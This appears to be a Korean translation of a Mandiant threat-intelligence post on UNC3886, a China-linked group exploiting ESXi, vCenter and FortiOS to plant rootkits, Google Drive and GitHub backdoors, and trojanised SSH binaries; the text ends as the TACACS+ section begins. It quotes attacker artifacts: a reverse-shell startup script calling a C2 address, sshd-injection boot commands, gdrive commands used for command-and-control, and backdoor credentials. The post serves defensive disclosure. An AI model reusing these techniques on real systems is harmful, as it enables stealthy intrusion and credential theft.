콘텐츠로 이동하기
위협 인텔리전스

VM웨어 ESXi 하이퍼바이저와 FortiOS 취약점을 악용하는 공격 그룹! UNC3886의 공격 분석

2024년 7월 4일
Mandiant

* 본 아티클의 원문은 2024619일 Google Cloud 블로그(영문)에 게재되었습니다.


작성자: Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, Alex Marvi


 

맨디언트(Mandiant)는 2022년 9월 VM웨어 ESXi 하이퍼바이저 내에 존재하는 악성 소프트웨어를 발견하였습니다. 이후 이를 악용하는 것으로 보이는 중국과 연계된 사이버 위협 행위자인 UNC3886이 감행한 여러 침해 사건을 조사하기 시작했습니다. 2023년 1월 맨디언트는 UNC3886으로 의심되는 위협 행위자가 FortiOS의 취약점을 악용한 사례를 분석해 정보를 공개하였습니다. 그리고 3월에는 영향을 받은 Fortinet 장치에서 사용한 맞춤형 악성 소프트웨어 생태계에 대한 정보도 공유하였습니다. 이 외에도 맨디언트는 조사를 통해 VM웨어 기술을 침해하여 공격자가 게스트 가상 머신에 접근할 수 있었던 것도 밝혀냈습니다.

맨디언트가 발견한 취약점 관련 업체들은 수정 조치를 바로 하였습니다. 맨디언트는 최근 수행한 작전 조사에서 UNC3886이 아직도 은밀하게 활동을 이어가고 있는 것을 확인하였습니다. 맨디언트는 UNC3886이 한 가지 방법에 의존하지 않고 여러 단계에 걸쳐 다양한 지속성 메커니즘을 활용해 침해한 시스템에 장기간 접근하는 것을 관찰하였습니다. UNC3886이 활용한 지속성 메커니즘은 네트워크 장치, 하이퍼바이저, 가상 머신 등 여러 계층에 적용되어 어느 한 지점에서 탐지가 되어도 다른 계층을 통해 접근을 유지할 수 있습니다.

본 블로그 포스팅에서는 UNC3886의 침입 경로와 게스트 가상 머신을 침해한 후 중요 시스템에 접근하기 위해 수행한 후속 작업을 알아봅니다. 주요 내용은 다음과 같습니다.

  • 장기간에 걸쳐 지속성을 유지하기 위해 공개적으로 이용할 수 있는 루트킷 사용

  • 신뢰할 수 있는 제삼자 서비스를 활용해 C2(Command & Control) 거점을 구축하여 악성 소프트웨어 배포에 활용

  • SSH 백도어를 통해 접근을 우회하고 자격 증명을 수집

  • 맞춤형 악성 소프트웨어를 사용하여 TACACS+ 인증에서 자격 증명 추출

맨디언트는 ESXi 하이퍼바이저 취약점 및 UNC3886이 사용한 공격 기법을 탐지하고 보안을 강화할 수 있는 지침을 발표했습니다. Google SecOps Enterprise+ 고객에게는 Emerging Threat 룰 팩이 제공되며, 본 게시물의 끝부분에 소개한 침해 지표(IOC)는 Applied Threat Intelligence를 통해 먼저 처리할 수 있습니다. 맨디언트는 조직들이 VM웨어 Fortinet 권고 사항과 본 블로그 게시물에 소개한 보안 권고 사항을 따르는 것을 권장합니다.

제로데이 취약점 악용

맨디언트는 2021년 말부터 CVE-2023-34048(VMWare vCenter)을 악용해 온 UNC3886의 활동에 대한 내용을 담은 블로그 게시물을 2024년 1월에 공개했습니다. 이 취약점을 악용하면 공격자는 인증되지 않은 원격 명령을 실행해 취약한 vCenter 서버를 공격할 수 있습니다. 맨디언트는 취약함 VM웨어 서비스가 중단된 직후 백도어가 배포되는 것을 관찰했습니다.

UNC3886이 이번 침입에서 악용한 제로데이 취약점은 CVE-2023-34048만이 아니었습니다. 이 위협 행위자는 기존 계정의 자격 증명을 확보하고 악용할 수 없을 때, 다음 세 가지 다른 제로데이 취약점을 악용해 접근을 시도했습니다. 참고로 이 취약점들은 현재 모두 패치가 되었습니다. 그림 1은 소개한 제로데이 취약점을 이용하는 UNC3886의 공격 경로입니다.

  • CVE-2022-41328(FortiOS): FortiGate 장치에 백도어를 다운로드하고 실행하는 데 악용

  • CVE-2022-22948(VMWare vCenter): vCenter의 PostgreSQL DB에서 암호화된 자격 증명을 탈취하여 추가 접근을 시도하는 데 악용

  • CVE-2023-20867(VMWare Tools): ESXi 호스트에서 게스트 가상 머신으로 인증되지 않은 게스트 작업을 실행하는 데 악용

https://storage.googleapis.com/gweb-cloudblog-publish/images/unc3886-cloaked-covert-fig1.max-2200x2200.jpg

그림 1: UNC3886 공격 경로

맨디언트는 2023년 1월 Fortinet의 취약점 공개 후 UNC3886이 FortiOS의 SSL VPN에서 CVE-2022-42475를 악용해 접근 권한을 획득하는 것을 관찰하였습니다. CVE-2022-42475는 인증되지 않은 공격자가 특별히 조작된 요청으로 임의의 코드나 명령을 실행할 수 있게 합니다.

오랜 기간 지속성을 유지하기 위해 공개된 루트킷 사용

공격자는 vCenter 서버와 ESXi 서버의 취약성을 악용해 시스템에 침투합니다. 이후 공격자는 vCenter 서버를 통해 해당 ESXi 서버에서 실행되는 모든 게스트 가상 머신을 확인합니다. 공격자는 이들 가상 머신에 원격으로 접근해 REPTILE이나 MEDUSA 루트킷을 설치합니다. 루트킷은 시스템에 숨어 공격자가 원격으로 가상 머신을 제어하고 중요 데이터를 탈취할 수 있도록 권한을 상승합니다. 게스트 가상 머신 관리자는 시스템 로그나 일반적인 감사 도구로 루트킷을 쉽게 발견하지 못합니다. 이런 식으로 공격자는 지속해서 접근하고, 탐지를 회피합니다.

REPTILE

REPTILE은 로드 가능한 커널 모듈(LKM)로 구현된 오픈 소스 리눅스 루트킷으로 시스템에 백도어 접근을 제공합니다. 이 루트킷과 백도어 기능은 여러 구성 요소로 구현됩니다.

  • REPTILE.CMD: 사용자 모드 컴포넌트로 커널 모드 컴포넌트와 통신해 파일, 프로세스, 네트워크 연결 숨기기 등의 작업 수행

  • REPTILE.SHELL: 사용자 모드에서 실행되는 리버스 쉘 백도어로 TCP, UDP, ICMP에서 패킷을 수신해 활성화될 수 있음

  • REPTILE 커널 레벨 컴포넌트: REPTILE.CMD가 지시한 대로 커널 기능을 후킹하고, 기능 데이터를 수정해, 루트킷 기능을 수행하는 LKM

  • REPTILE LKM 실행기: 실제 커널 모듈 코드를 파일에서 복호화하고 메모리에 로드하는 역할을 함

REPTILE은 UNC3886이 침해된 엔드포인트에 접근한 직후 배포되는 루트킷으로 선택된 것으로 보입니다. REPTILE은 명령 실행 및 파일 전송 기능 같은 기본적인 백도어 기능을 제공합니다. 공격자는 이를 통해 원격으로 감염된 시스템에 액세스하고 제어할 수 있습니다. 이외에도 합법적인 트래픽처럼 위장해 악성 코드와 통신을 하여 탐지를 회피할 수 있는 포트 노킹(port knocking) 기술을 기반으로 하는 기능도 제공합니다.

맨디언트는 UNC3886이 REPTILE 코드 베이스와 보조 구성 요소에 몇 가지 변경 사항을 도입한 것을 발견했습니다. 변경 중 일부는 2020년 3월 1일 이전의 REPTILE 코드(2.1 버전 이전)를 기반으로 하고 있습니다. 이는 공격자가 오랫동안 이 루트킷을 개발하고 운영해 왔음을 시사합니다.

변경 사항 중 하나를 소개하자면 맨디언트는 UNC3886이 사용하는 REPTILE LKM 런처(launcher)에서 변경 사항을 발견하였습니다. REPTILE 개발자는 2.0 버전에서 커널 레벨 구성 요소를 로딩하는 방법을 변경해 insmod 명령 대신 커스텀 런처를 사용하도록 했습니다. 한 가지 변경 사항은 UNC3886의 REPTILE LKM 실행기에서 확인되었습니다. REPTILE 2.0 버전에서는 원래 개발자가 커널 레벨 컴포넌트를 로드하는 방식을 insmod에서 커스텀 런처로 변경했습니다. 이 커스텀 런처에는 프로세스를 데몬화하는 새로운 기능이 적용되었는데, 이 기능은 공개적으로 이용할 수 있는 create_daemon.c 코드와 동일합니다.

UNC3886은 REPTILE 구성 요소 설치와 설정 과정을 자동화하기 위해 쉘 스크립트를 사용했습니다. 이 스크립트는 REPTILE 구성 요소를 빌드하고, REPTILE 커널 레벨 컴포넌트의 지속성 메커니즘을 구성하는 설치 스크립트와 유사한 코드를 포함하고 있습니다. 맨디언트는 배포 스크립트에서 몇 가지 추가 사항을 발견했습니다. 이들 추가 사항은 원래 REPTILE과 다른 포렌식 증거(forensic artifacts)를 생성합니다.

  1. 위협 행위자는 "reptile"이라는 단어를 고유 키워드로 대체하여 루트킷 구성 요소 파일 이름을 다르게 만들었습니다.

    파일 경로

    설명

    /var/lib/fwupdd/<unique_keyword>_cmd

    REPTILE.CMD 실행 파일

    /var/lib/fwupdd/<unique_keyword>_reverse

    REPTILE.SHELL 실행 파일

    /var/lib/fwupdd/<unique_keyword>_start

    REPTILE 시작 스크립트

    /lib/modules/<kernel_version>/kernel/driver
    s/<unique_keyword>/<unique_keyword>

    REPTILE 커널 레벨 컴포넌트

    /usr/bin/<unique_keyword>

    REPTILE LKM 런처


  2. 이 스크립트는 미리 빌드된 REPTILE 구성 요소와 파일을 지정된 경로에 배포하고 지속성 메커니즘을 구성할 뿐, 구성 요소를 빌드하지는 않습니다.
  3. 오리지널 REPTILE은 최신 버전에서 커널 레벨 컴포넌트를 로드기 위해 modprobeudev에 의존하지만, UNC3886의 REPTILE은 RC 스크립트나 systemd 유닛 파일을 생성하여 REPTILE LKM 런처를 실행하는 명령을 통해 커널 레벨 컴포넌트를 로드합니다. 소수의 REPTILE 샘플만 이 지속성 메커니즘으로 udev를 사용한 것이 관찰되었습니다.
/usr/bin/< /lib/modules/<kernel_version>/kernel/drivers/
<unique_keyword>/<unique_keyword> 2>&- 1>&- 0<&-

위협 행위자는 배포 스크립트 수정 외에도, REPTILE.CMD 및 REPTILE.SHELL의 실행 명령과 매개변수를 포함하는 시작 스크립트를 도입했습니다. 다음은 침해된 게스트 가상 머신에서 식별한 시작 스크립트의 예입니다.

#!/bin/bash
#<Centos_Selinux_Config_And_Module>
/var/lib/fwupdd/<unique_keyword>_reverse -t <ip_address> 
-p <port> -s <secret> -r <seconds>
/var/lib/fwupdd/<unique_keyword>_cmd hide `ps -ef | grep 
"ata/0" | grep -v grep | awk '{print $2}'`
/var/lib/fwupdd/<unique_keyword>_cmd file-tampering
#</Centos_Selinux_Config_And_Module>

시작 스크립트는 REPTILE.SHELL이 C2 서버와 연결하고 REPTILE.CMD가 프로세스 목록에서 REPTILE.SHELL 프로세스를 숨기고 파일을 보이지 않게 설정하도록 구성합니다. REPTILE 샘플 분석 결과 REPTILE.CMD는 파일 변조 매개변수인 file-tampering을 사용해 실행될 때 #</Centos_Selinux_Config_And_Module> 문자열로 둘러싸인 파일 내용을 숨기도록 개발된 것으로 나타났습니다.

맨디언트는 TLS(Transport Layer Security) 지원을 포함한 맞춤형 REPTILE 리스너 샘플을 식별했습니다. UNC3886은 기존 REPTILE 루트킷의 리스너 부분을 수정하여 TLS(Transport Layer Security) 프로토콜을 지원하는 커스텀 버전을 만들었습니다. 이 커스텀 리스너는 TLS를 사용해 네트워크 트래픽을 암호화하여 공격 트래픽을 숨기고 탐지를 회피할 수 있습니다. 맨디언트는 UNC3886이 침해된 Fortinet 장치인 FortiGate에서 도난당한 합법적인 TLS 인증서와 개인 키를 사용해 이 커스텀 리스너를 실행하는 것을 관찰하였습니다.

UNC3886은 최초 시스템 침투 시 작은 용량으로 시스템에 숨기기 쉽고, 탐지가 어려운 REPTILE 루트킷을 주로 사용한 것으로 보입니다. 새로운 기능을 가진 더 복잡한 루트킷과 백도어가 도입되더라도 UNC3886은 시스템에 대한 지속적인 접근을 유지하기 위해 REPTILE을 계속 사용할 수 있습니다.

MEDUSA & SEAELF

MEDUSA는 LD_PRELOAD를 통해 동적 하이재킹을 구현하는 오픈 소스 루트킷입니다. 앞서 소개한 REPTILE은 루트킷 기능만 제공합니다. 반면에 MEDUSA는 사용자 인증 시 로컬이나 원격으로 성공한 인증의 사용자 자격 증명을 기록하고 명령 실행을 로딩할 수 있는 기능도 있습니다. 이는 유효한 자격 증명으로 피해 네트워크 내에서 측면 이동을 하는 방식으로 작전을 펼치는 UNC3886에 유리하다 할 수 있습니다.

맨디언트는 MEDUSA를 REPTILE과 SSH 키로거의 실험적 대안이라고 평가하였습니다. REPTILE은 일반적으로 공격자가 침해된 엔드포인트에 성공적으로 접근한 후 다른 악성 소프트웨어, 키로거, 유틸리티를 배포하는 데 사용되었습니다. 그러나 MEDUSA는 최근 활동에서 동일한 엔드포인트를 통해 추가로 배포되었습니다.

MEDUSA의 배포는 SEAELF로 식별된 MEDUSA 설치 컴포넌트에 의해 이루어졌습니다. 맨디언트는 침해된 엔드포인트에 배포된 두 가지 버전의 MEDUSA를 확인했고, 두 버전 모두 설정 문자열을 암호화하기 위해 OxAA를 XOR 암호화 키로 사용했습니다. 맨디언트 FLARE는 위협 행위자가 샘플에 대해 다음과 같이 변경을 가한 것을 관찰했습니다.

  1. execve 함수는 일반적으로 iptables, ip, /bin 디렉토리의 출력을 필터링하지 않습니다.
  2. execve로 실행될 때 strace의 출력은 명령줄에 -o /tmp/orbit.txt를 추가하여 /tmp/orbit.txt로 리다이렉션됩니다.

  3. PAM 함수는 더 이상 SSH 정보를 보고하지 않으며, 항상 PAM_SUCCESS(0)를 반환하여 sudo 요청을 방해합니다.

  4. 샘플에서 다음 후크 함수가 누락되었습니다. 

          1. hosts_access
          2. shutdown
          3. close
          4. pam_acct_mgmt
          5. pam_sm_authenticate
          6. xread

또한, 파일시스템을 분석하는 과정에서 구성 파일이 변경된 MEDUSA 버전을 발견했습니다. 이는 공격자가 MEDUSA 루트킷의 기능을 바꾸거나 새로운 기능을 추가했음을 시사합니다. 또한, 다양한 MEDUSA 아티팩트도 발견하였습니다. 이는 MEDUSA 루트킷이 시스템에서 실행되고 있었음을 확인할 수 있는 증거입니다. MEDUSA 아티팩트 중 일부는 호스트 기반 지표 위치에 저장되었습니다. 이는 공격자가 MEDUSA 루트킷을 사용해 시스템 정보를 수집하고 저장했음을 의미합니다.

이름

기본 값

첫번째 샘플

두번째 샘플

MEDUSA administrator name

adm1n

Y0u4reCu6e

Y0u4reCu6e

MEDUSA administrator password

asdfasdf

1qaz@WSX3edc123

1qaz@WSX3edc123

MEDUSA home directory

/usr/lib/libc conf

/usr/lib/libc conf/

/usr/lib/locate/

ssh, scp, and sudo credential log

/usr/lib/libseconf
/sshpass2.txt

/usr/lib/libseconf
/local.txt

/usr/lib/locate
/local.txt

sshd credential log

/usr/lib/libseconf
/sshpass.txt

/var/log
/remote.txt

/var/log
/remote.txt

Backdoor listening ports

/usr/lib/libc conf/.ports

/usr/lib/libc
conf/.pts

/usr/lib/locate
/.pts

맨디언트는 위협 행위자가 MEDUSA를 통해 도구를 배포하고 실행하여 침해된 엔드포인트에서 유효한 SSH 자격 증명을 캡처하는 것도 관찰하였습니다. MEDUSA는 시작 시 /usr/lib/locate/.boot.sh에 나열된 명령 및 실행 파일을 실행하도록 구성되었습니다.

 
/usr/sbin/libvird
/usr/bin/NetworkManage
chcon -t sshd_tmp_t /var/run/cron.data

이 실행 파일과 명령은 공격자가 SSH 연결을 하이재킹하여 SSH 자격 증명을 획득하려는 시도의 일부입니다. 실행 파일 및 시도에 대한 분석은 본 포스팅 후반부에서 자세히 다루겠습니다.

신뢰할 수 있는 제삼자 서비스를 C2 채널로 활용하는 악성 소프트웨어

위협 행위자는 보안 솔루션이 차단하지 않는 깃허브(GitHub)나 구글 드라이브 같은 일반적인 클라우드 기반 저장 공간을 악성 코드 저장소로 사용합니다. 이들 저장소는 C2 채널 역할을 하며, 여기에 저장된 MOPSLED, RIFLESPINE 같은 악성 코드를 루트킷이 실행합니다. 이런 식으로 공격자는 피해 환경에 대한 지속성을 유지합니다.

MOPSLED

MOPSLED 는 쉘 코드 기반의 모듈형 백도어로 HTTP 또는 TCP를 통한 맞춤형 이진 프로토콜을 통해 C2 서버와 통신할 수 있습니다. MOPSLED는 맞춤형 ChaCha20 암호화 알고리즘을 사용해 내장 및 외부 구성 파일을 복호화합니다.

맨디언트는 MOPSLED가 APT41을 포함한 다른 중국 사이버 첩보 그룹과 공유된 것을 관찰했습니다. 맨디언트는 MOPSLED를 네트워크 프록시 역할을 할 수 있는 CROSSWALK의 진화형으로 간주하고 있습니다.

UNC3886은 REPTILE에 이미 존재하는 vCenter 서버와 일부 침해된 엔드포인트에 MOPSLED.LINUX라는 리눅스 변종을 배포했습니다. 이 변종은 탐지를 피할 수 있는 루트킷 기능이 없어 초기 단계에 사용하는 악성 소프트웨어인 것으로 보입니다.

MOPSLED.LINUX는 실제 C2 주소를 가져오기 위해 드롭 URL과 통신하도록 개발되었습니다. UNC3886과 관련된 샘플은 https://cyberponke.github[.]io/*에 HTTP GET 요청을 보내는 것으로 관찰되었습니다. 응답은 ChaCha20 암호를 사용하여 복호화되어 실제 C2 IP 주소를 얻었습니다. 이후 통신은 HTTP/S와 유사한 맞춤형 이진 프로토콜로 구현됩니다.

RIFLESPINE

RIFLESPINE은 파일 전송 및 명령 실행을 위해 구글 드라이브를 활용하는 크로스 플랫폼 백도어입니다. 이 백도어는 CryptoPP 라이브러리를 사용해 AES 알고리즘을 구현해 감염 장치와 위협 행위자 간에 전송되는 데이터를 암호화하고 복호화합니다.

위협 행위자는 구글 드라이브에 암호화된 파일을 만들어 RIFLESPINE에 지시를 내리며, 이는 대상 엔드포인트에서 악성 소프트웨어에 의해 실행됩니다. 대상 엔드포인트의 MAC 주소가 파일 이름에 포함되어야 합니다. 파일이 다운로드되면 RIFLESPINE이 이를 다운로드하고 복호화하여 지시를 실행합니다. 실행 결과는 암호화되어 임시 파일에 저장된 후 다시 구글 드라이브에 업로드됩니다. 실행 가능한 지시는 다음과 같습니다.

  1. get 명령으로 파일 다운로드
  2. put 명령으로 파일 업로드
  3. settime명령으로 다음 호출 시간을 밀리초 단위로 설정
  4. /bin/sh를 사용해 임의 명령 실행

UNC3886은 오픈 소스 구글 드라이브 CLI 클라이언트를 사용해 RIFLESPINE을 배포했습니다. 이 악성 소프트웨어는 지속성 메커니즘이 없어 systemd 서비스 파일이 생성되어 악성 소프트웨어를 실행하는 데 사용되었습니다. 첫 설치 시 악성 소프트웨어는 시스템 정보를 수집하고 다음 단계를 통해 구글 드라이브와 통신을 시작합니다. 그 과정을 소개하겠습니다.

  1. 공격자는 오픈 소스 구글 드라이브 명령줄 도구와 함께 RIFLESPINE 악성 코드를 설치합니다. 설치 후 악성 코드는 시스템 정보를 수집합니다. 악성코드는 다음과 같이 gdrive 명령으로 <mac_address> 값을 포함하는 파일명을 검색합니다. 파일명은 /tmp/syslog<random_number.rs 임시 파일에 기록합니다. 
    gdrive --refresh-token <token> list | grep "2@<mac_address>"
  2. 파일명은 /tmp/syslog<random_number.rs 임시 파일에 기록합니다.
  3. 다음 명령으로 파일 이름과 일치하는 파일을 /tmp에 다운로드 합니다.
    gdrive --refresh-token <token> download --path "/tmp" -f
  4. 다운로드한 파일은 암호화되어 있습니다. CryptoPP AES-CBC를 사용하여 /tmp/<filename>를 복호화하여 /tmp/<download_filename>.de로 저장합니다. 그리고 공격자가 제공한 키(libcrypt.so.2, libev.so.5)를 사용해 복호화합니다
  5. 복호화된 /tmp/<download_filename>.de 파일을 라인 단위로 읽어 실행 명령을 추출합니다.
  6. 추출된 명령을 실행한 후 결과를 /tmp/update<random_number>.tmp에 저장합니다. 
  7. 생성된 응답은 다시 동일한 AES 키를 사용해 암호화합니다. 자세히 보자면 /tmp/update<random_number.tmp를 /tmp/update<random_number>.tmp.en 으로 암호화합니다.
  8. 암호화된 응답 파일은 다음 명령으로 구글 드라이브에 업로드합니다. 
    gdrive --refresh-token <token> upload --name "/tmp
    /update<random_number>.tmp.en"
  9. 악성 코드는 일정 시간 간격을 두고 위 과정을 반복하여 지속해서 공격자와 통신하고 업데이트를 받습니다. 

MOPSLED.LINUX와 유사하게 RIFLESPINE은 소수의 침해된 가상 머신에서만 관찰되었습니다. 가상 머신 서버에서 깃허브 및 구글 드라이브 서비스로의 예측할 수 있는 통신이 의심을 불러일으킬 수 있기 때문에 위협 행위자는 루트킷 기능이 없는 MOPSLED.LINUX와 RIFLESPINE을 백도어로 사용하는 것을 포기한 것으로 보입니다.

백도어를 포함한 애플리케이션을 이용한 접근 권한 탈취

맨디언트는 UNC3886이 침해된 VM웨어 ESXi에서 실행되는 게스트 가상 머신 간의 측면 이동을 위해 유효한 자격 증명을 수집하고 사용하는 데 크게 의존하는 것을 관찰했습니다. 위협 행위자가 유효한 자격 증명을 수집하고 악용하기 위해 사용한 기법을 알아보겠습니다.

백도어를 포함한 SSH 실행 파일

UNC3886은 vpxuser 자격 증명을 수집하거나 CVE-2023-208678을 악용하여 VM웨어 게스트 운영 기능을 통해 악성 파일 전송 기능을 용이하게 한 후 게스트 가상 머신에 접근했습니다. 이후 백도어를 포함한 SSH 클라이언트와 데몬을 배포하였습니다. 이러한 악성 구성 요소의 목적은 XOR로 암호화된 텍스트 파일 내에서 자격 증명을 가로채고 수집하는 것입니다.

/usr/bin/ssh에 위치한 침해된 SSH 클라이언트 분석 결과 위협 행위자가 비밀번호 기반 인증을 관리하는 userauth_passwd() 함수에 수정 사항을 추가한 것을 확인했습니다. 이러한 수정 사항(그림 2 참조)은 나가는 연결에서 SSH 자격 증명을 수집하도록 설계된 명령을 도입합니다. 수집된 자격 증명은 0xef로 XOR 암호화되어 /var/log/ldapd<unique_keyword>.2.gz 파일에 저장됩니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/unc3886-cloaked-covert-fig2.max-1100x1100.png

그림 2. 백도어를 포함한 userauth_passwd() 함수

들어오는 SSH 자격 증명의 수집을 목표로 위협 행위자는 /usr/sbin/sshd에 위치한 SSH 데몬 실행 파일에 수정 사항을 적용했습니다. 이러한 수정 사항은 SSH 데몬 내에서 비밀번호 기반 인증을 관리하는 auth_password() 함수와 PAM(Pluggable Authentication Modules)과의 통합을 지원하는 sshpam_auth_passwd() 함수에 적용되었습니다. 삽입된 악성 코드는 SSH 클라이언트에서 관찰한 것과 비슷하게 작동합니다. 그러나 이 경우 수집된 자격 증명은 /var/log/ldapd<unique_keyword>.1.gz에 저장됩니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/unc3886-cloaked-covert-fig3.max-900x900.png

그림 3: 백도어를 포함한 auth_password() 함수

https://storage.googleapis.com/gweb-cloudblog-publish/images/unc3886-cloaked-covert-fig4.max-700x700.png

그림 4: 백도어를 포함한 sshpam_auth_passwd() 함수

최근 활동에서 맨디언트는 위협 행위자가 yum-versionlock을 설치하여 악성 SSH 클라이언트와 데몬이 패키지 업그레이드를 통해 사라지지 않도록 하는 것을 관찰했습니다. 공격자는 yum-versionlock 도구를 사용해 시스템의 OpenSSH 업그레이드를 차단합니다. 이를 통해 침입 시 설치한 악성 OpenSSH 클라이언트와 데몬이 시스템 업데이트 후에도 유지되게 합니다. 공격자는 이러한 악성 프로그램을 사용하여 지속성을 유지합니다. yum-versionlockversionlock.list라는 설정 파일에 잠금 정보를 저장합니다.

 
# Added lock on Tue Oct 25 23:28:07 2022
openssh-clients-0:8.0p1-13.el8.*
openssh-server-0:8.0p1-13.el8.*

Bring Your Own SSH Server : 자체 SSH 서버 배포 

SSH 자격 증명을 수집하기 위해 배포된 백도어 SSH 바이너리 외에도 위협 행위자는 동일한 악의적인 목적을 위해 MEDUSA 루트킷을 활용해 맞춤형 SSH 서버를 배포한 것으로 관찰되었습니다.

MEDUSA 루트킷 분석 결과에 따르면 위협 행위자는 /usr/lib/locate/.boot.sh에 위치한 BOOT_SCRIPT 매개변수를 사용해 다음 실행 파일과 명령을 부팅 시 실행한 것으로 나타났습니다.

 
/usr/sbin/libvird
/usr/bin/NetworkManage
chcon -t sshd_tmp_t /var/run/cron.data

SSH 연결을 하이재킹하여 자격 증명을 얻는 과정은 /usr/sbin/libvird의 실행으로 시작됩니다. Libvird는 공개적으로 이용할 수 있는 kubo/injector 프로젝트를 기반으로 하는 인젝터로 페이로드가 내장되어 있습니다. Libvird는 내장된 페이로드에서 /lib64/libseconfd.so라는 라이브러리 파일을 생성하고, 기본적으로 대상 프로그램과 라이브러리 파일이 제공되지 않으면 라이브러리를 sshd에 주입합니다.

맨디언트는 libvird에 내장된 페이로드와 동일한 해시를 가진 파일을 복구하고 분석했습니다. 그 결과 페이로드가 실행될 때 sshdcheckfd()를 가로채고 수신된 데이터에 SSH-2.0-OpenSSH_6pf가 포함되어 있는지 확인하는 것으로 나타났습니다. 페이로드는 스트림을 유닉스 소켓 /var/run/cron.data로 리다이렉션합니다.

맨디언트는 /usr/bin/NetworkManage를 공개적으로 이용할 수 있는 SSH 서버 wzshiming/sshd 기반의 SSH 서버로 식별했습니다. 이 서버는 /var/run/cron.data로 리다이렉션된 연결을 생성, 모니터링, 수신합니다.

마지막으로 /usr/lib/locate/.boot.sh 내의 최종 명령은 유닉스 소켓 파일 /var/run/cron.dat에 SSH 데몬이 사용하는 임시 파일에 맞춰진 sshd_tmp_t라는 SELinux 보안 컨텍스트를 적용하는 데 사용되었습니다. 이를 통해 SELinux가 활성화된 경우 인젝터와 맞춤형 SSH 서버가 사용하는 유닉스 소켓에 접근하고 쓰기 가능하게 됩니다.

위협 행위자는 다른 엔드포인트에 sentry로 식별된 또 다른 인젝터와 sshdng-venter-7.0으로 식별된 맞춤형 SSH 서버를 배포하는 것으로 관찰되었습니다. 두 실행 파일의 분석 결과 libvirdNetworkManage에서 관찰된 것과 동일한 주입 및 리다이렉션 작업이 확인되었습니다.

목표를 향하여

내부 정찰과 측면 이동의 흔전

위협 행위자는 루트킷, 도구, 스크립트를 사용해 침해 증거를 제거하였습니다. 이러한 은폐 전략으로 포렌식을 어렵게 만들어 공격자의 초기 목표를 명확하게 파악하기 어렵습니다. 일반적으로 사이버 첩보 활동을 하는 위협 행위자는 특정 정보 탈취를 목표로 한다고 가정할 수 있습니다. 다만 어떤 유형의 정보를 원하는지는 상황에 따라 다를 수 있습니다. 맨디언트는 감염된 점프 서버의 할당되지 않은 공간을 분석하여 공격자의 의도를 파악하는 데 도움이 되는 증거를 발견했습니다. 참고로 할당되지 않은 공간이란 운영체제, 파일, 프로그램이 저장된 영역이 아니라 포맷하지 않거나 파티션으로 나누지 않은 할당되지 않은 영역을 말합니다. 공격자가 이 공간을 이용하는 것은 포렌식 증거를 은닉하거나, 데이터를 숨기기 위해서입니다.

맨디언트는 NMAP으로 생성된 스캔 로그 복구에 성공했습니다. 스캔 로그는 -oG 매개변수를 사용해 생성했습니다. 여기에는 NMAP 실행 파일, 스캔 시작 타임스팸프, 옵션 및 스캔 결과를 포함한 상세 스캔 정보가 기록되어 있습니다. 다음은 샘플 로그입니다. 피해 조직과 관련된 정보를 편집하였으니 참조 바랍니다.

# Nmap 6.49BETA1 scan initiated [redacted] as: ./sc -sS -Pn -n 
--open --host-timeout 30 -T4 -v -oG result.txt -p 902,2012,4786,443 
A.B.C.D/24
# Ports scanned: TCP(4;443,902,2012,4786) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: A.B.C.1 ()	Ports: 443/open/tcp//https///, 
4786/open/tcp//smart-install///
	Ignored State: filtered (2)
Host: A.B.C.1 ()	Status: Up
Host: A.B.C.1 ()	Status: Timeout
Host: A.B.C.2 ()	Status: Up
Host: A.B.C.2 ()	Ports: 4786/open/tcp//smart-install///
	Ignored State: filtered (3)
Host: A.B.C.3 ()	Status: Up
Host: A.B.C.3 ()	Ports: 443/open/tcp//https///
	Ignored State: filtered (3)
Host: A.B.C.4 ()	Status: Up
Host: A.B.C.4 ()	Status: Ports: 902/open/tcp//ideafarm-door///
	Ignored State: filtered (3)
Host: A.B.C.5 ()	Status: Up
Host: A.B.C.5 ()	Status: Timeout
Host: A.B.C.6 ()	Status: Up
Host: A.B.C.6 ()	Ports: 4786/open/tcp//smart-install///
	Ignored State: filtered (3)
.......

샘플 스캔 로그에서 다음과 같은 것을 관찰하였습니다.

  • NMAP 실행 파일: 위협 행위자는 스캔을 위해 자체 NMAP 실행 파일을 사용했습니다. 실행 파일 sc도 할당되지 않은 공간에 위치했으며 독립 실행형 NMAP 버전으로 확인되었습니다
  • 스캔 매개변수: TCP/443, TCP/902, TCP/2012, TCP/4786 포트를 대상으로 DNS 해석 및 호스트 탐색 없이 공격 모드에서 TCP SYN 스캔이 시작되었습니다. 결과는 열려 있거나 열려 있을 가능성이 있는 포트만 기록된 result.txt에 저장되었습니다
  • 스캔 결과: 결과는 열린 포트를 가진 활성 호스트를 나타냅니다. 

기본 포트 번호로 설정된 서비스가 실행 중인 활성 호스트를 가정할 때 TCP/4786으로 식별된 활성 호스트는 Cisco Smart Install(SMI) 서비스에 일반적으로 할당된 포트이므로 시스코 네트워크 장비일 가능성이 있습니다. TCP/902는 VM웨어 기술을 나타냅니다. 다른 스캔 로그의 데이터를 집계하고 피해자와 검증한 결과, 대상 네트워크는 피해 조직이 관리하는 외국 네트워크에 속해 있습니다. 이는 공급망 공격 시나리오가 가능했음을 의미합니다.

NMAP 스캔 로그의 존재를 점프 서버에서 외국 네트워크로의 연결성을 시사하며, 접근에는 유효한 자격 증명이 필요합니다. 진행 중인 조사에서 점프 서버에서 접근할 수 있는 TACACS+ 서버에서 악성 활동이 벌건 되면서 이 가정이 확인되었습니다.

TACACS는 중앙 집중식 인증, 권한 부여, 회계(AAA) 서비스를 제공하기 위해 컴퓨터 네트워킹에서 사용되는 네트워크 프로토콜입니다. TACACS+는 TACACS를 개선한 강력한 버전의 프로토콜입니다. 네트워크 장치는 TACACS+를 사용해 인증된 사용자가 감사 목적으로 모니터링되는 작업을 수행할 권한이 있는지 확인합니다.

